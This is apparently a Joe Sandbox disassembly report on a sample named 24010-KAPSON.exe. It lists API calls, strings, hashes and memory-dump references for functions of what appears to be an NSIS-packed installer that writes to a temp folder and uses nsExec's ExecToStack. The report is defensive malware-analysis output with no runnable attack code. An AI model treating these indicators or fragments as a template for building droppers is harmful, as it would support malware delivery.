Function 0040689A Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(75923420,00426798,00425F50,00405F62,00425F50,00425F50,00000000,00425F50,00425F50,75923420,?,75922EE0,00405C6E,?,75923420,75922EE0), ref: 004068A5
FindClose.KERNEL32(00000000), ref: 004068B1

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction ID: 17741e7b15207d6702ed9fc8e7bdeca0d2b34881c01bff23dce0e4374d0b2feb
Opcode Fuzzy Hash: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction Fuzzy Hash: 1FD0C7315051205BD24116346D4C84765985F55331311CA36B4A5F11A0C7348C3246AC

Function 00404EFF Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 490
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F16
GetDlgItem.USER32(?,00000408), ref: 00404F23
GlobalAlloc.KERNEL32(00000040,?), ref: 00404F6F
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404F86
SetWindowLongW.USER32(?,000000FC,00405518), ref: 00404FA0
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404FB4
ImageList_AddMasked.COMCTL32(00000000,00000110,00FF00FF), ref: 00404FC8
SendMessageW.USER32(?,00001109,00000002), ref: 00404FDD
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404FE9
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404FFB
DeleteObject.GDI32(00000110), ref: 00405000
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 0040502B
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405037
SendMessageW.USER32(?,00001132,00000000,?), ref: 004050D2
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00405102

Part of subcall function 004044C7: SendMessageW.USER32(00000028,?,00000001,004042F2), ref: 004044D5

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405116
GetWindowLongW.USER32(?,000000F0), ref: 00405144
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00405152
ShowWindow.USER32(?,00000005), ref: 00405162
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405263
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004052C5
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004052DA
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004052FE
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405321
ImageList_Destroy.COMCTL32(?), ref: 00405336
GlobalFree.KERNEL32(?), ref: 00405346
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004053BF
SendMessageW.USER32(?,00001102,?,?), ref: 00405468
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405477
InvalidateRect.USER32(?,00000000,00000001), ref: 004054A1
ShowWindow.USER32(?,00000000), ref: 004054EF
GetDlgItem.USER32(?,000003FE), ref: 004054FA
ShowWindow.USER32(00000000), ref: 00405501

Strings

M, xrefs: 004050BA
, xrefs: 004054D9
N, xrefs: 0040519E

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 30c87aeda25f360d81773f0e2c70f123d365d9cc6a167c9b0a22042fa7f78e66
Instruction ID: 51cb895bf96748e94aa34dbd086816f234b0803d1cad36f3447be88a3ed44bf2
Opcode Fuzzy Hash: 30c87aeda25f360d81773f0e2c70f123d365d9cc6a167c9b0a22042fa7f78e66
Instruction Fuzzy Hash: 0C126970900609EFDF209FA5DC45AAE7BB5FB44314F10817AEA10BA2E1D7798A52CF58

Function 00403FB9 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403FF5
ShowWindow.USER32(?), ref: 00404012
DestroyWindow.USER32 ref: 00404026
SetWindowLongW.USER32(?,00000000,00000000), ref: 00404042
GetDlgItem.USER32(?,?), ref: 00404063
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00404077
IsWindowEnabled.USER32(00000000), ref: 0040407E
GetDlgItem.USER32(?,00000001), ref: 0040412C
GetDlgItem.USER32(?,00000002), ref: 00404136
SetClassLongW.USER32(?,000000F2,?), ref: 00404150
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004041A1
GetDlgItem.USER32(?,00000003), ref: 00404247
ShowWindow.USER32(00000000,?), ref: 00404268
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040427A
EnableWindow.USER32(?,?), ref: 00404295
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004042AB
EnableMenuItem.USER32(00000000), ref: 004042B2
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004042CA
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004042DD
lstrlenW.KERNEL32(00423748,?,00423748,00000000), ref: 00404307
SetWindowTextW.USER32(?,00423748), ref: 0040431B
ShowWindow.USER32(?,0000000A), ref: 0040444F

Strings

H7B, xrefs: 004042F7

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: H7B
API String ID: 3282139019-2300413410
Opcode ID: ad2877bd5c4ea7cc256e3088b2b3c42cb38b7d734cc530d92285f8f03c2605ef
Instruction ID: 474293f91904d384e756f83d9200f154ec1a476d51ccc5c10f5d023ba508d08e
Opcode Fuzzy Hash: ad2877bd5c4ea7cc256e3088b2b3c42cb38b7d734cc530d92285f8f03c2605ef
Instruction Fuzzy Hash: 17C1B1B1600604FBCB216F61EE85E2A7BB8EB84705F40497EF741B51F1CB3958529B2E

Function 00403C0B Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406931: GetModuleHandleA.KERNEL32(?,00000020,?,0040364A,0000000B), ref: 00406943
Part of subcall function 00406931: GetProcAddress.KERNEL32(00000000,?), ref: 0040695E

lstrcatW.KERNEL32(1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000,00000002,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\24010-KAPSON.exe",00000000), ref: 00403C8C
lstrlenW.KERNEL32(Space required: ,?,?,?,Space required: ,00000000,C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000,00000002,75923420), ref: 00403D0C
lstrcmpiW.KERNEL32(?,.exe,Space required: ,?,?,?,Space required: ,00000000,C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000), ref: 00403D1F
GetFileAttributesW.KERNEL32(Space required: ), ref: 00403D2A
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske), ref: 00403D73

Part of subcall function 00406483: wsprintfW.USER32 ref: 00406490

RegisterClassW.USER32(00429200), ref: 00403DB0
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403DC8
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403DFD
ShowWindow.USER32(00000005,00000000), ref: 00403E33
GetClassInfoW.USER32(00000000,RichEdit20W,00429200), ref: 00403E5F
GetClassInfoW.USER32(00000000,RichEdit,00429200), ref: 00403E6C
RegisterClassW.USER32(00429200), ref: 00403E75
DialogBoxParamW.USER32(?,00000000,00403FB9,00000000), ref: 00403E94

Strings

.exe, xrefs: 00403D19
.DEFAULT\Control Panel\International, xrefs: 00403C77
C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske, xrefs: 00403C9B, 00403CA3, 00403D46, 00403D4C, 00403D5C
Control Panel\Desktop\ResourceLocale, xrefs: 00403C3F
C:\Users\user\AppData\Local\Temp\, xrefs: 00403C10
RichEdit, xrefs: 00403E66
"C:\Users\user\Desktop\24010-KAPSON.exe", xrefs: 00403C0F
RichEd20, xrefs: 00403E39
1033, xrefs: 00403C2B, 00403C87
RichEdit20W, xrefs: 00403E57, 00403E5D
RichEd32, xrefs: 00403E47
_Nb, xrefs: 00403D8F, 00403DF7
H7B, xrefs: 00403C37
Space required: , xrefs: 00403CD3, 00403CDC, 00403CEA, 00403D39, 00403D3F

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\24010-KAPSON.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske$Control Panel\Desktop\ResourceLocale$H7B$RichEd20$RichEd32$RichEdit$RichEdit20W$Space required: $_Nb
API String ID: 1975747703-987174226
Opcode ID: e72121f9318e9a8d3ba69cbfb00b5424d628858843ee7b3eb32a151408395cbd
Instruction ID: e394074358681fdac01dfd3b015b47ae0866f78f7b6160babfbfeef1d79938ee
Opcode Fuzzy Hash: e72121f9318e9a8d3ba69cbfb00b5424d628858843ee7b3eb32a151408395cbd
Instruction Fuzzy Hash: EA61D570240200BAD720AF66AD45F2B3A7CEB84B09F40457FF941B22E2CB7D9D12867D

Function 00403068 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 204
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040307C
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\24010-KAPSON.exe,00000400), ref: 00403098

Part of subcall function 00406032: GetFileAttributesW.KERNELBASE(00000003,004030AB,C:\Users\user\Desktop\24010-KAPSON.exe,80000000,00000003), ref: 00406036
Part of subcall function 00406032: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406058

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\24010-KAPSON.exe,C:\Users\user\Desktop\24010-KAPSON.exe,80000000,00000003), ref: 004030E1
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 00403223

Strings

Error launching installer, xrefs: 004030B8
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004032BA
Null, xrefs: 0040315F
C:\Users\user\Desktop, xrefs: 004030C3, 004030C8, 004030CE
"C:\Users\user\Desktop\24010-KAPSON.exe", xrefs: 00403068
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040326C
Inst, xrefs: 0040314D
soft, xrefs: 00403156
C:\Users\user\Desktop\24010-KAPSON.exe, xrefs: 00403082, 00403091, 004030A5, 004030C2
C:\Users\user\AppData\Local\Temp\, xrefs: 00403072, 0040323B

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\24010-KAPSON.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\24010-KAPSON.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-4150413986
Opcode ID: 8e4e929ec00d298773cd7711401fbd042d30ada64bab94f08e83dcc7a4259e6b
Instruction ID: 3c019e557a6e0d840000321a6ffc1a5a74fe8930866e2d2a4a5af375f72a0401
Opcode Fuzzy Hash: 8e4e929ec00d298773cd7711401fbd042d30ada64bab94f08e83dcc7a4259e6b
Instruction Fuzzy Hash: 9B71E431A00204ABDB20DF64DD85B5E3EBCAB18315F2045BBF901B72D2D7789E458B6D

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,ExecToStack,C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,ExecToStack,ExecToStack,00000000,00000000,ExecToStack,C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske,?,?,00000031), ref: 004017D5

Part of subcall function 0040653C: lstrcpynW.KERNEL32(?,?,00000400,004036A9,00429260,NSIS Error,?,00000007,00000009,0000000B), ref: 00406549

Part of subcall function 004055A4: lstrlenW.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000,?), ref: 004055DC
Part of subcall function 004055A4: lstrlenW.KERNEL32(00403040,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000), ref: 004055EC
Part of subcall function 004055A4: lstrcatW.KERNEL32(Completed,00403040,00403040,Completed,00000000,00000000,00000000), ref: 004055FF
Part of subcall function 004055A4: SetWindowTextW.USER32(Completed,Completed), ref: 00405611
Part of subcall function 004055A4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405637
Part of subcall function 004055A4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405651
Part of subcall function 004055A4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565F

Strings

ExecToStack, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske, xrefs: 0040179E
C:\Users\user\AppData\Local\Temp\nspB9D.tmp\nsExec.dll, xrefs: 00401835, 00401851

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske$C:\Users\user\AppData\Local\Temp\nspB9D.tmp\nsExec.dll$ExecToStack
API String ID: 1941528284-2339970393
Opcode ID: a989f2b6c5edca274d64581de5dcf4155f20863467521327b6b759c30a52b718
Instruction ID: 1f20f3305f5cdc04e1f2059eaac63a386f89c848407f65c8aae314978641b4a4
Opcode Fuzzy Hash: a989f2b6c5edca274d64581de5dcf4155f20863467521327b6b759c30a52b718
Instruction Fuzzy Hash: 08419431500114BACF10BFB9DD85DAE7A79EF45729B20423FF422B10E2D73C8A519A6E

Function 004055A4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000,?), ref: 004055DC
lstrlenW.KERNEL32(00403040,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000), ref: 004055EC
lstrcatW.KERNEL32(Completed,00403040,00403040,Completed,00000000,00000000,00000000), ref: 004055FF
SetWindowTextW.USER32(Completed,Completed), ref: 00405611
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405637
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405651
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565F

Strings

Completed, xrefs: 004055C5, 004055D5, 004055DB, 004055FE, 0040560A

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Completed
API String ID: 2531174081-3087654605
Opcode ID: 8d4ec48a8783ac7c02cf808f938a66a70b9f0af433ef19620f9c759a8ff7b601
Instruction ID: cea8892cb4e31635aa5f40387e4ea582d2b984c796fabda61e5f1d3d18a4122e
Opcode Fuzzy Hash: 8d4ec48a8783ac7c02cf808f938a66a70b9f0af433ef19620f9c759a8ff7b601
Instruction Fuzzy Hash: E6218E71900518BACB119F65DD44ECFBFB9EF45360F54443AF904B62A0C77A4A508FA8

Function 00405A73 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB6
GetLastError.KERNEL32 ref: 00405ACA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405ADF
GetLastError.KERNEL32 ref: 00405AE9

Strings

C:\Users\user\Desktop, xrefs: 00405A73
C:\Users\user\AppData\Local\Temp\, xrefs: 00405A99

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop
API String ID: 3449924974-1521822154
Opcode ID: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction ID: 182fb86997ef6356dfbf0076fac1484c8d0c28c6014f2d3d8060d55cd567293f
Opcode Fuzzy Hash: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction Fuzzy Hash: 30010871D00619EADF019BA0C988BEFBFB8EF04315F00813AD545B6280D7789648CFA9

Function 004068C1 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068D8
wsprintfW.USER32 ref: 00406913
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406927

Strings

%s%S.dll, xrefs: 0040690D
\, xrefs: 004068E9
UXTHEME, xrefs: 004068CA

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction ID: 979e31ef7f6a653eb027d6e7281dab5f214eebcb072a06bc6d9d9cfc9f176359
Opcode Fuzzy Hash: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction Fuzzy Hash: BDF02B71501219A7CB14BB68DD0DF9B376CEB00304F10447EA646F10D0EB7CDA68CB98

Function 00406061 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040607F
